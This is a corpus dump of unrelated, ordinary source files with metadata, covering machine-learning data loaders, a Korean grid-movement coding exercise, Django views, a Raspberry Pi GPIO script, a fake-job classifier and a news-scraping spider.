''\nSTART_TOKEN = ''\nEND_TOKEN = ''\n\ndef get_data_fields(fixed_lengths: int) -> dict:\n \"\"\"\"\n Creates torchtext fields for the I/O pipeline.\n \"\"\"\n\n language = Field(\n batch_first=True, init_token=None, eos_token=None, pad_token=None, unk_token=None)\n\n characters = Field(include_lengths=True, batch_first=True, init_token=None,\n eos_token=END_TOKEN, pad_token=PAD_TOKEN, fix_length=fixed_lengths)\n\n nesting_field = Field(tokenize=list, pad_token=PAD_TOKEN, batch_first=True,\n init_token=None, eos_token=END_TOKEN)\n paragraph = NestedField(nesting_field, pad_token=PAD_TOKEN, eos_token=END_TOKEN,\n include_lengths=True)\n #\n # paragraph = Field(include_lengths=True, batch_first=True, init_token=None,\n # eos_token=END_TOKEN, pad_token=PAD_TOKEN)\n\n fields = {\n 'characters': ('characters', characters),\n 'paragraph': ('paragraph', paragraph),\n 'language': ('language', language)\n }\n\n return fields\n\n\ndef empty_example() -> dict:\n ex = {\n 'id': [],\n 'paragraph': [],\n 'language': [],\n 'characters': []\n }\n return ex\n\n\ndef data_reader(x_file: Iterable, y_file: Iterable, train: bool, split_sentences, max_chars: int, level: str) -> dict:\n \"\"\"\n Return examples as a dictionary.\n \"\"\"\n\n example = empty_example()\n #spacy_tokenizer = data.get_tokenizer(\"spacy\") # TODO: implement with word level\n\n for x, y in zip(x_file, y_file):\n\n x = x.strip()\n y = y.strip()\n\n examples = []\n\n if len(x) == 0: continue\n example = empty_example()\n\n # replace all numbers with 0\n x = re.sub('[0-9]+', '0', x)\n # x = spacy_tokenizer(x)\n paragraph = x.split()\n if y != 'rus':\n y = 'not_rus'\n language = y\n\n count = 0\n\n if level == \"char\" or train:\n example['paragraph'] = [word.lower() for word in paragraph[:max_chars]]\n else:\n\n example['paragraph'] = []\n for word in paragraph:\n cur_word = word.lower()\n room_left = max_chars - count\n count += len(cur_word)\n if not count > max_chars and len(cur_word) > 0:\n example['paragraph'].append(cur_word)\n elif room_left > 0:\n count -= len(cur_word) + len(''.join(list(cur_word)[:room_left]))\n example['paragraph'].append(''.join(list(cur_word)[:room_left]))\n break\n else:\n count -= len(cur_word)\n break\n assert count <= max_chars, \"too much chars, max_chars: {}, count: {}, room_left: {}\".format(max_chars, count, room_left)\n if len(example['paragraph']) == 0:\n continue\n example['language'] = language\n example['characters'] = list(x)[:max_chars]\n\n examples.append(example)\n\n yield examples\n\n # possible last sentence without newline after\n if len(example['paragraph']) > 0:\n yield [example]\n\ndef test_data_reader(path: str, split_sentences, max_chars: int, level: str) -> dict:\n \"\"\"\n Return examples as a dictionary.\n \"\"\"\n\n example = empty_example()\n #spacy_tokenizer = data.get_tokenizer(\"spacy\") # TODO: implement with word level\n files = sorted(os.listdir(path))\n for i, file_name in enumerate(files):\n with open(path + file_name, 'r') as f:\n x = f.read()\n\n x = x.strip()\n\n examples = []\n\n if len(x) == 0: continue\n example = empty_example()\n\n # replace all numbers with 0\n x = re.sub('[0-9]+', '0', x)\n # x = spacy_tokenizer(x)\n paragraph = x.split()\n\n count = 0\n\n if level == \"char\":\n example['paragraph'] = [word.lower() for word in paragraph[:max_chars]]\n else:\n raise NotImplementedError()\n\n example['characters'] = list(x)[:max_chars]\n example['language'] = 'rus'\n\n examples.append(example)\n\n yield examples\n\n # possible last sentence without newline after\n if len(example['paragraph']) > 0:\n yield [example]\n\n\nclass LanguageDataset(Dataset):\n\n def sort_key(self, example):\n if self.level == \"char\":\n return len(example.characters)\n else:\n return len(example.paragraph)\n\n def __init__(self, paragraph_path: str, label_path: str, taiga_path: str, fields: dict, split_sentences: bool, train: bool,\n max_chars: int=1000, level: str=\"char\",\n **kwargs):\n \"\"\"\n Create a Dataset given a path two the raw text and to the labels and field dict.\n \"\"\"\n\n self.level = level\n examples = []\n\n for d in test_data_reader(taiga_path, split_sentences, max_chars, level):\n for sentence in d:\n # print(sentence)\n # break\n examples.extend([Example.fromdict(sentence, fields)])\n \n with io.open(os.path.expanduser(paragraph_path), encoding=\"utf8\") as f_par, \\\n io.open(os.path.expanduser(label_path), encoding=\"utf8\") as f_lab:\n\n for d in data_reader(f_par, f_lab, train, split_sentences, max_chars, level):\n for sentence in d:\n # print(sentence)\n # break\n examples.extend([Example.fromdict(sentence, fields)])\n \n\n if isinstance(fields, dict):\n fields, field_dict = [], fields\n for field in field_dict.values():\n if isinstance(field, list):\n fields.extend(field)\n else:\n fields.append(field)\n\n super(LanguageDataset, self).__init__(examples, fields, **kwargs)\n\n\ndef load_data(training_text: str, training_labels: str, testing_text: str, testing_labels: str,\n validation_text: str, validation_labels: str, \n taiga_train_path: str, taiga_valid_path:str, taiga_test_path: str, \n max_chars: int=1000, max_chars_test: int=-1,\n split_paragraphs: bool=False, fix_lengths: bool=False, level: str=\"char\",\n **kwargs) -> (LanguageDataset, LanguageDataset):\n\n # load training and testing data\n if fix_lengths:\n fixed_length = max_chars\n else:\n fixed_length = None\n\n fields = get_data_fields(fixed_length)\n _paragraph = fields[\"paragraph\"][-1]\n _language = fields[\"language\"][-1]\n _characters = fields['characters'][-1]\n\n training_data = LanguageDataset(training_text, training_labels, taiga_train_path, fields, split_paragraphs, True, max_chars, level)\n validation_data = LanguageDataset(validation_text, validation_labels, taiga_valid_path, fields, False, False, max_chars_test, level)\n if max_chars_test == -1: max_chars_test = max_chars\n testing_data = LanguageDataset(testing_text, testing_labels, taiga_test_path, fields, False, False, max_chars_test, level)\n\n\n _paragraph.build_vocab(training_data, min_freq=10) \n _language.build_vocab(training_data)\n _characters.build_vocab(training_data, min_freq=10)\n\n return training_data, validation_data, testing_data","sub_path":"src/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"162209955","text":"# 여행가 A는 N x N 크기의 정사각형 공간 위에 서 있습니다.\n# 이 공간은 1 x 1 크기의 정사각형으로 나누어져 있습니다.\n# 가장 왼쪽 위 좌표는 (1.1)이며, 가장 오른쪽 아래 좌표는(N,N)에 해당합니다.\n# 여행가 A는 상, 하, 좌, 우 방향으로 이동할 수 있으며, 시작 좌표는 항상 (1,1)입니다.\n# 우리 앞에는 여행가 A가 이동할 계획이 적힌 계획서가 놓여 있습니다.\n# 계획서에는 하나의 줄에 띄어쓰기를 기준으로 ���여, L,R,U,D 중 하나의 문자가 반복적으로 적혀 있습니다.\n# 각 문자의 의미는 다음과 같습니다.\n\n# * L : 왼쪽으로 한 칸 이동\n# * R : 오른쪽으로 한 칸 이동\n# * U : 위로 한 칸 이동\n# * D : 아래로 한 칸 이동\n\n# 이때 여행가 A가 N x N 크기의 정사각형 공간을 벗어나는 움직임은 무시됩니다.\n# 예를 들어 (1,1)의 위치에서 L 혹은 U를 만나면 무시됩니다. 다음은 N = 5인 지도와 계획서입니다.\n\n# 계획서와 지도\n# R -> R -> R -> U -> D -> D\n# (1,1) (1,2) (1,3) (1,4) (1,5)\n# (2,1) (2,2) (2,3) (2,4) (2,5)\n# (3,1) (3,2) (3,3) (3,4) (3,5)\n# (4,1) (4,2) (4,3) (4,4) (4,5)\n# (5,1) (5,2) (5,3) (5,4) (5,5)\n\n# 이 경우 6개의 명령에 따라 여행가가 움직이게 되는 위치는 순서대로\n# (1,2), (1,3), (1,4), (1,4), (2,4), (3,4)이므로,\n# 최종적으로 여행가 A가 도착하게 되는 곳의 좌표는 (3,4)이다.\n# 다시말해 3행 4열의 위치에 해당하므로 (3,4)라고 적는다.\n# 계획서가 주어졌을 때 여행가 A가 최종적으로 도착할 지점의 좌표를 출력하는 프로그램을 작성하시오.\n\n# 입력 조건 : 첫째 줄에 공간의 크기를 나타내는 N이 주어진다. (1 = 1 : y -= 1\n elif i == \"R\" and y < N : y += 1\n elif i == \"U\" and x > 1 : x -= 1\n elif i == \"D\" and x < N : x += 1\n\nprint(x, y)\n\n# 행렬좌표 x, y는 이차원배열과 반대인 것에 주의해야함\n\n# ---------------------------------------------------------------------------------------------------------------------------\n# 풀이 (Python)\n\n# N을 입력받기\nn = int(input())\nx, y = 1, 1 # 현재 위치를 의미 (시작지점 1,1)\nplans = input().split() # 이동경로\n\n# L, R, U, D에 따른 이동 방향 (방향벡터)\ndx = [0, 0, -1, 1]\ndy = [-1, 1, 0, 0]\nmove_types = ['L', 'R', 'U', 'D']\n\n# 이동 계획을 하나씩 확인\nfor plan in plans:\n # 이동 후 좌표 구하기\n for i in range(len(move_types)):\n if plan == move_types[i]:\n nx = x + dx[i]\n ny = y + dy[i]\n # 공간을 벗어나는 경우 무시\n if nx < 1 or ny < 1 or nx > n or ny > n:\n continue\n # 이동 수행\n x, y = nx, ny\n\nprint(x, y)\n# ---------------------------------------------------------------------------------------------------------------------------\n# 이 문제는 요구사항대로 충실히 구현하면 되는 문제입니다.\n# 이러한 문제는 일련의 명령에 따라서 개체를 차례대로 이동시킨다는 점에서 시뮬레이션 유형으로 분류되며 구현이 중요한 대표적 문제 유형입니다.\n# - 다만, 알고리즘 교재나 문제 풀이 사이트에 따라서 다르게 일컬을 수 있으므로,\n# 코딩테스트에서의 시뮬레이션 유형, 구현 유형, 완전 탐색 유형은 서로 유사한 점이 많다는 정도로만 기억합시다.\n","sub_path":"KYJ/이코테/구현/예제4-1(상하좌우).py","file_name":"예제4-1(상하좌우).py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"651739075","text":"import devfx.statistics as stats\nimport devfx.data_vizualization as dv\n\n\"\"\"------------------------------------------------------------------------------------------------\n\"\"\" \nnormal = stats.distributions.normal(mu=0.0, sigma=1.0)\n\nfigure = dv.Figure(size=(8, 4))\n\nchart = dv.Chart2d(figure=figure)\nstats.estimators.dhistogram.from_distribution(normal).on_chart(chart).bar()\n\nfigure.show()\n\n","sub_path":"solution/devfx_samples/statistics/estimators/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"370667468","text":"\"\"\"\nBuilds a structural-probe embedding dataset from spaCy word embeddings.\n\nRefer to the saved hdf5 file with the `ELMO-disk` datatype.\n\"\"\"\n\nfrom argparse import ArgumentParser\nfrom pathlib import Path\n\nimport h5py\nimport numpy as np\nimport spacy\nfrom tqdm import tqdm\n\np = ArgumentParser()\np.add_argument(\"sentences_path\", type=Path)\np.add_argument(\"out_path\", type=Path)\np.add_argument(\"-m\", \"--spacy_model\", type=str, default=\"en_vectors_web_lg\")\n\n\ndef main(args):\n print(\"Loading spaCy model.\")\n nlp = spacy.load(args.spacy_model)\n\n print(\"Loading sentences.\")\n with args.sentences_path.open(\"r\") as f:\n sentences = [l.strip() for l in f if l.strip()]\n\n with h5py.File(args.out_path, \"w\") as out_hf:\n for i, sentence in enumerate(tqdm(sentences)):\n # content is pre-tokenized -- don't allow spaCy to re-tokenize\n doc = nlp.tokenizer.tokens_from_list(sentence.split(\" \"))\n\n sentence_vec = np.array([tok.vector for tok in doc]).reshape((1, len(doc), -1))\n out_hf[str(i)] = sentence_vec\n\n\nif __name__ == \"__main__\":\n main(p.parse_args())\n","sub_path":"scripts/build_embedding_dataset.py","file_name":"build_embedding_dataset.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"579873601","text":"# Copyright 2013 Diego Orzaez, Univ.Politecnica Valencia, Consejo Superior de\n# Investigaciones Cientificas\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'dj_goldenbraid.views.home', name='home'),\n # url(r'^dj_goldenbraid/', include('dj_goldenbraid.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n (r'^accounts/login/$', 'django.contrib.auth.views.login'),\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n (r'^genome_domestication/search/', include('restcmd_client.urls')),\n (r'^genome_domestication/', include('gb_genome_domestication.urls')),\n # (r'^cmd_client/', include('restcmd_client.urls')),\n\n (r'', include('goldenbraid.urls')),\n)\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n# static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT),\n","sub_path":"dj_goldenbraid/dj_goldenbraid/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"526504639","text":"#!/usr/bin/python\n\nimport RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nseg = {'a':21, 'b':8, 'c':11, 'd':26, 'e':19, 'f':20, 'g':13}\n\nfor s in \"abcdefg\":\n GPIO.setup(seg[s], GPIO.OUT, initial=0)\n \nzif=16\nGPIO.setup(zif, GPIO.OUT, initial=0)\n \nprint(\"STRG+C beendet das Programm\")\ntry:\n while True:\n for s in \"abgedcgf\":\n GPIO.output(seg[s], 1)\n time.sleep(0.1)\n GPIO.output(seg[s], 0)\n \nexcept KeyboardInterrupt:\n GPIO.cleanup()\n","sub_path":"python/day_6.py","file_name":"day_6.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"249760277","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom .forms import *\n\ndef webpage(request,id=0):\n if(request.method==\"GET\"):\n if(id==0):\n form=employee()\n form_3=other()\n else:\n id_value=employee_details.objects.get(id=id)\n id_value_3=other_details.objects.get(id=id) \n form=employee(instance=id_value)\n form_3=other(instance=id_value_3)\n return render(request,'webpage.html',{\"form\":form,\"form_3\":form_3})\n else:\n if (id==0):\n form=employee(request.POST)\n form_3=other(request.POST)\n else:\n id_value=employee_details.objects.get(id=id)\n id_value_3=other_details.objects.get(id=id)\n form=employee(request.POST,instance=id_value)\n form_3=other(request.POST,instance=id_value_3)\n print(form.is_valid(),form_3.is_valid())\n if (form.is_valid()==True and form_3.is_valid()==True):\n form.save()\n form_3.save()\n all_data=employee_details.objects.all()\n all_data_3=other_details.objects.all()\n for i in range(1,(int(request.POST[\"totallength\"]))+1):\n aa=education_details(qualification=request.POST[\"qualification\"+str(i)],institute=request.POST[\"institute\"+str(i)],year=request.POST[\"year\"+str(i)],percent=request.POST[\"percent\"+str(i)])\n aa.save()\n for i in range(1,(int(request.POST[\"totallength_1\"]))+1):\n aa=experience_details(company=request.POST[\"company\"+str(i)],from_date=request.POST[\"from_date\"+str(i)],to_date=request.POST[\"to_date\"+str(i)],position=request.POST[\"position\"+str(i)],reason=request.POST[\"reason\"+str(i)])\n aa.save()\n # return render(request,'details.html',{\"form\":form,\"form_1\":form_1,\"form_2\":form_2,\"form_3\":form_3,\"employee_details\":all_data,\"education_details\":all_data_1,\"experience_details\":all_data_2,\"other_details\":all_data_3})\n return redirect('/next/')\n \ndef home(request):\n return render(request,'view.html')\n\n\ndef next(request,id=0):\n if(request.method==\"GET\"):\n if(id==0):\n form_4=salary()\n form_5=account()\n else:\n id_value_4=salary_details.objects.get(id=id)\n id_value_5=account_details.objects.get(id=id) \n form_4=salary(instance=id_value_4)\n form_5=account(instance=id_value_5)\n return render(request,'salary.html',{\"form_4\":form_4,\"form_5\":form_5})\n else:\n if (id==0):\n form_4=salary(request.POST)\n form_5=account(request.POST)\n else:\n id_value_4=salary_details.objects.get(id=id)\n id_value_5=account_details.objects.get(id=id)\n form_4=salary(request.POST,instance=id_value_4)\n form_5=account(request.POST,instance=id_value_5)\n print(form_4.is_valid(),form_5.is_valid())\n if (form_4.is_valid()==True and form_5.is_valid()==True):\n form_4.save()\n form_5.save()\n all_data_4=salary_details.objects.all()\n all_data_5=account_details.objects.all()\n return render(request,'salary.html',{\"form_4\":form_4,\"form_5\":form_5,\"salary_details\":all_data_4,\"account_details\":all_data_5})\n #return redirect('/role/')\n \n\n\ndef role(request):\n return render(request,'role.html')\n\n\n","sub_path":"employee/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"620849130","text":"import numpy as np\nimport pandas as pd\nimport time\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.utils import resample \nfrom gensim.parsing.preprocessing import STOPWORDS\nfrom gensim.parsing.preprocessing import remove_stopwords\n\nclass my_model():\n def fit(self, X, y):\n # do not exceed 29 mins\n self.y_data = y\n \n #count vectorizing description\n description_X = X.description\n \n X_train, X_test, y_train, y_test = train_test_split(description_X, y, test_size = 0.33, shuffle = True)\n \n count_vector = CountVectorizer(stop_words='english').fit(X_train)\n \n data_frame_desc_train = pd.DataFrame(count_vector.transform(X_train).todense(), \n columns = count_vector.get_feature_names())\n \n data_frame_desc_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n columns=count_vector.get_feature_names())\n \n ######################Count vectorizing description end ########################\n \n #count vectorizing requirements\n req_x = X.requirements\n \n X_train, X_test, y_train, y_test = train_test_split(req_x, y, test_size = 0.33, shuffle = True)\n \n data_frame_req_train = pd.DataFrame(count_vector.transform(X_train).todense(),\n columns=count_vector.get_feature_names())\n \n data_frame_req_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n columns=count_vector.get_feature_names())\n \n ######################Count vectorizing requirements end ########################\n \n #count vectorizing requirements\n# title_x = X.title\n# X_train, X_test, y_train, y_test = train_test_split(title_x, y, test_size = 0.33, shuffle = True)\n \n# data_frame_title_train = pd.DataFrame(count_vector.transform(X_train).todense(),\n# columns=count_vector.get_feature_names())\n \n# data_frame_title_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n# columns=count_vector.get_feature_names())\n \n ######################Count vectorizing requirements end ########################\n \n \n #concatenate all the vectorized data frames \n training = pd.concat([data_frame_desc_train, data_frame_req_train], axis=1)\n testing = pd.concat([data_frame_desc_test,data_frame_req_test], axis=1)\n \n print(\"after balancing the data:\")\n print(training.shape)\n print(y_train.shape)\n print()\n print(testing.shape)\n print(y_test.shape)\n \n #set_trace()\n \n# tree = DecisionTreeClassifier(max_depth=15)\n# tree.fit(training, y_train)\n# tree.score(testing, y_test)\n# predictions = tree.predict(testing)\n \n\n boost = AdaBoostClassifier(n_estimators=100,random_state=0)\n boost.fit(training, y_train)\n boost.score(testing, y_test)\n predictions = boost.predict(testing)\n \n print(\"Classification report:\")\n print(metrics.classification_report(y_test,predictions))\n \n return\n\n def predict(self, X):\n #count vectorizing description\n description_X = X.description\n \n X_train, X_test, y_train, y_test = train_test_split(description_X, y, test_size = 0.33, shuffle = True)\n \n count_vector = CountVectorizer(stop_words='english').fit(X_train)\n \n data_frame_desc_train = pd.DataFrame(count_vector.transform(X_train).todense(), \n columns = count_vector.get_feature_names())\n \n data_frame_desc_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n columns=count_vector.get_feature_names())\n \n ######################Count vectorizing description end ########################\n \n #count vectorizing requirements\n req_x = X.requirements\n \n X_train, X_test, y_train, y_test = train_test_split(req_x, y, test_size = 0.33, shuffle = True)\n \n data_frame_req_train = pd.DataFrame(count_vector.transform(X_train).todense(),\n columns=count_vector.get_feature_names())\n \n data_frame_req_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n columns=count_vector.get_feature_names())\n \n ######################Count vectorizing requirements end ########################\n \n #count vectorizing requirements\n# title_x = X.title\n# X_train, X_test, y_train, y_test = train_test_split(title_x, y, test_size = 0.33, shuffle = True)\n \n# data_frame_title_train = pd.DataFrame(count_vector.transform(X_train).todense(),\n# columns=count_vector.get_feature_names())\n \n# data_frame_title_test = pd.DataFrame(count_vector.transform(X_test).todense(),\n# columns=count_vector.get_feature_names())\n \n ######################Count vectorizing requirements end ########################\n \n \n #concatenate all the vectorized data frames \n training = pd.concat([data_frame_desc_train, data_frame_req_train], axis=1)\n testing = pd.concat([data_frame_desc_test,data_frame_req_test], axis=1)\n\n# tree = DecisionTreeClassifier(max_depth=15)\n# tree.fit(training, y_train)\n# tree.score(testing, y_test)\n# predictions = tree.predict(testing)\n \n boost = AdaBoostClassifier(n_estimators=50,random_state=0)\n boost.fit(training, y_train)\n boost.score(testing, y_test)\n predictions = boost.predict(testing)\n \n return predictions\n \n def clean_data_frame(self,data_frame):\n \n #fillna to location column\n data_frame['location'] = data_frame.location.fillna('none')\n\n #fillna to description column\n data_frame['description'] = data_frame.description.fillna('not specified')\n\n #fillna to requirements column\n data_frame['requirements'] = data_frame.description.fillna('not specified')\n \n #drop unnecassary columns\n data_frame.drop(['telecommuting','has_questions'],axis = 1, inplace = True) \n \n #mapping fraudulent to T and F, where there is 0 and 1 respectively\n data_frame['has_company_logo'] = data_frame.has_company_logo.map({1 : 't', 0 : 'f'})\n data_frame['fraudulent'] = data_frame.fraudulent.map({1 : 't', 0 : 'f'})\n \n #remove any unnecassary web tags in the data set\n data_frame['title'] = data_frame.title.str.replace(r'<[^>]*>', '')\n data_frame['description'] = data_frame.description.str.replace(r'<[^>]*>', '')\n data_frame['requirements'] = data_frame.requirements.str.replace(r'<[^>]*>', '')\n \n # removing the characters in data set that are not words and has white spaces \n for column in data_frame.columns:\n data_frame[column] = data_frame[column].str.replace(r'\\W', ' ').str.replace(r'\\s$','')\n \n # mapping back the columns to original binary values\n #data_frame['has_company_logo'] = data_frame.has_company_logo.map({'t': 1, 'f':0})\n data_frame['fraudulent'] = data_frame.fraudulent.map({'t': 1, 'f':0})\n \n #add all STOPWORDS from genism to a list\n self.all_gensim_stop_words = STOPWORDS\n\n #adding all the columns in the data_frame to a list\n text_columns = list(data_frame.columns.values)\n text_columns.remove('fraudulent')\n\n #cleaning all the columns by removing the stopwords in each of them\n for columns in text_columns:\n self.clean_all_columns(data_frame,columns)\n \n # as 1 and 0 values in the fraudulent class is highly unbalanced\n # true = 0 and fake = 1\n # 0 : 1 == 8484 : 456\n Class_1 = data_frame[data_frame.fraudulent == 1]\n Class_0 = data_frame[data_frame.fraudulent == 0]\n\n Class_0_count, Class_1_count = data_frame.fraudulent.value_counts()\n\n Class_0_undersampling = Class_0.sample(Class_1_count-140)\n #Class_0_undersampling = Class_0.sample(400)\n\n\n data_frame_undersample = pd.concat([Class_0_undersampling, Class_1], axis=0)\n \n \n return data_frame_undersample\n \n def clean_all_columns(self,data_frame,column_name):\n data_frame[column_name] = data_frame[column_name].apply(lambda x: \" \".join([i for i in x.lower().split() if i not in self.all_gensim_stop_words]))\n\n\n\nif __name__ == \"__main__\":\n start = time.time()\n\n # Load data\n data = pd.read_csv(\"../data/job_train.csv\")\n \n clf = my_model()\n\n # Replace missing values with empty strings\n data = data.fillna(\"\")\n\n data = clf.clean_data_frame(data)\n\n y = data[\"fraudulent\"]\n X = data.drop(['fraudulent'], axis=1)\n\n # Train model\n clf.fit(X, y)\n\n runtime = (time.time() - start) / 60.0\n print(\"Total Runtime:\",runtime)\n\n print(\"Predictions:\")\n predictions = clf.predict(X)\n print(predictions)","sub_path":"project/project_code_v1.py","file_name":"project_code_v1.py","file_ext":"py","file_size_in_byte":9732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"14532662","text":"# -*- coding: utf-8 -*-\n# Copyright © 2015 Carl Chenet \n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see > downloading article')\n imageURL = self._parse_article(article.link)\n return imageURL\n\n def _get_rss_article_date(self, article):\n \"\"\"\n if article published date found, store date\n in self.rss_date for later use\n \"\"\"\n if 'published' in article:\n self.rss_date = parseDate(article.published)\n return self.rss_date\n else:\n return self._parse_article(article)\n\n def _sort_and_verify(self, iterable, key='height', reverse=True):\n '''\n Sorts images by height with largest first.\n\n :params iterable: An iterable list of dictionaries\n :params key: dict key to sort by, mostly 'height'\n :params reverse: default sorting order\n :return: A dictionary with an image larger than 260px\n '''\n def sort_func(item):\n order = item.get(key, 0)\n if not order:\n order = 0\n return int(order)\n sorted_list = sorted(iterable, key=sort_func, reverse=reverse)\n if sorted_list:\n largest_dict = sorted_list[0]\n return largest_dict if int(largest_dict.get(key, 0)) >= 260 else None\n return None\n\n def _parse_rss(self, article):\n \"\"\"\n Parses an rss feed of articles and extracts the article properties.\n\n Check rss item for image and publication date if neither exists,\n download article and return the result of _parse_article\n\n :params article: the article to be parsed\n :return: Article namedtuple with props\n \"\"\"\n logger.info(f'Parsing RSS article {article.title}...')\n pub_time_or_cleaned_article = self._get_rss_article_date(article)\n image_or_cleaned_article = self._get_image_from_content(article)\n\n if isinstance(image_or_cleaned_article, tuple):\n return image_or_cleaned_article\n if isinstance(pub_time_or_cleaned_article, tuple):\n return pub_time_or_cleaned_article\n\n # declare constants\n topics = set()\n text = article.get('summary')\n\n if article.get('tags'):\n topics = {self.Topic(tag.term, None) for tag in article.tags}\n if text:\n topics = topics.union(self.nlp(article.title)) if nlp else topics\n\n return self.ParsedArticle(\n article.title,\n article.link,\n pub_time_or_cleaned_article,\n image_or_cleaned_article,\n text,\n topics\n )\n\n def _parse_article(self, url):\n # download and parse article\n logger.info(f'Downloading article >>> {url}')\n page = request(url, no_cache=True)\n get_article = Article(url, downloaded_page=page)\n logger.info(f'Parsing scraped article {get_article.title}...')\n\n get_article.parse()\n article_tree = html.fromstring(get_article.html)\n keywords = extract_xpath(page_tree=article_tree, xpath_value=self.kwx)\n\n # find tags\n keywords = {self.Topic(kw, None) for kw in keywords}\n tags = {self.Topic(tag, None) for tag in get_article.tags}\n topics = self.nlp(get_article.title) if nlp else set()\n topics = topics.union(tags, keywords)\n\n return self.ParsedArticle(\n get_article.title,\n url,\n # check if article already has a parsed date\n self.rss_date or getDate(get_article.html, url),\n get_article.top_image,\n get_article.text,\n topics\n )\n\n def nlp(self, text):\n '''\n Extract named entities from provided text using spacy NER\n\n :params text: text to extract Named entities from\n :return: set of namedtuples containing the entity name and type\n '''\n doc = nlp(text)\n topics = {self.Topic(ent.text, ent.label_) for ent in doc.ents if ent.label_ in self.ner}\n cleaned_topics = topics.copy()\n for topic in topics:\n name = topic.name\n label = topic.label\n '''\n if topic is a person, ensure name is more than one word\n e.g ensure name is Micheal Jordan and not just Jordan,\n but if country is Jordan then accept.\n '''\n if label == 'PERSON' and len(name.strip().split()) < 2:\n cleaned_topics.remove((name, label))\n return cleaned_topics\n\n def parse(self):\n logger.info('Starting articles parsing....')\n if self.crawl_type == CRAWL_TYPE.RSS:\n parsed_articles = [self._parse_rss(article) for article in self._rss_articles\n if article.link in self._links]\n elif self.crawl_type == CRAWL_TYPE.SCRAPE:\n parsed_articles = [self._parse_article(link) for link in self._links]\n\n if not parsed_articles and not self.raw_links:\n # log warning if parsed_articles is empty\n logger.warning(\"{} returned no parsed articles\".format(self.source.name))\n\n return self.articles.extend(parsed_articles)\n","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":10512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"176116395","text":"from torch.utils.tensorboard import SummaryWriter\nfrom .loss import get_mean_of_loss_dict\n\nclass Logger(SummaryWriter):\n def __init__(self, logdir):\n super(Logger, self).__init__(logdir)\n\n def log_training(self, reduced_loss, loss_dict, grad_norm, learning_rate, duration,\n iteration):\n self.add_scalar(\"training.total_loss\", reduced_loss, iteration)\n for key in loss_dict.keys():\n self.add_scalar(\"traning.{}_loss\".format(key), loss_dict[key], iteration)\n self.add_scalar(\"grad.norm\", grad_norm, iteration)\n self.add_scalar(\"learning.rate\", learning_rate, iteration)\n self.add_scalar(\"duration\", duration, iteration)\n \n def log_multi_perf(self, reduced_loss, loss_dict, grad_norm, iteration):\n self.add_scalar(\"training.multi_perf.total_loss\", reduced_loss, iteration)\n for key in loss_dict.keys():\n self.add_scalar(\"traning.multi_perf.{}_loss\".format(key), loss_dict[key], iteration)\n self.add_scalar(\"grad.norm.multi_perf\", grad_norm, iteration)\n \n def log_style_analysis(self, abs_confusion_matrix, abs_accuracy, norm_confusion_matrix, norm_accuracy, iteration):\n self.add_scalar(\"validation.style_analysis.abs.accuracy\", abs_accuracy, iteration)\n self.add_image(\"validation.style_analysis.abs.confusion_matrix\", abs_confusion_matrix.reshape(1,5,5), iteration)\n self.add_scalar(\"validation.style_analysis.norm.accuracy\", norm_accuracy, iteration)\n self.add_image(\"validation.style_analysis.norm.confusion_matrix\", norm_confusion_matrix.reshape(1,5,5), iteration) \n\n\n def log_validation(self, 